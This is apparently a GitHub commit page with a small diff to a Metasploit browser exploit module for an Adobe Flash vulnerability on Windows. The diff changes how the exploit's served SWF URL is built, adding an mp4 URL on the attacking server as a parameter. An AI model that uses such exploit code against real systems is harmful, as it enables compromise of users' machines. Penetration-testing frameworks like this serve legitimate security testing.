We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent d91b412 commit 933ac88Copy full SHA for 933ac88
modules/exploits/windows/browser/adobe_flash_sps.rb
@@ -147,7 +147,8 @@ def on_request_uri(cli, request)
147
end
148
149
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
150
- swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
+ mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
151
+ swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"
152
153
html = %Q|
154
<html>
0 commit comments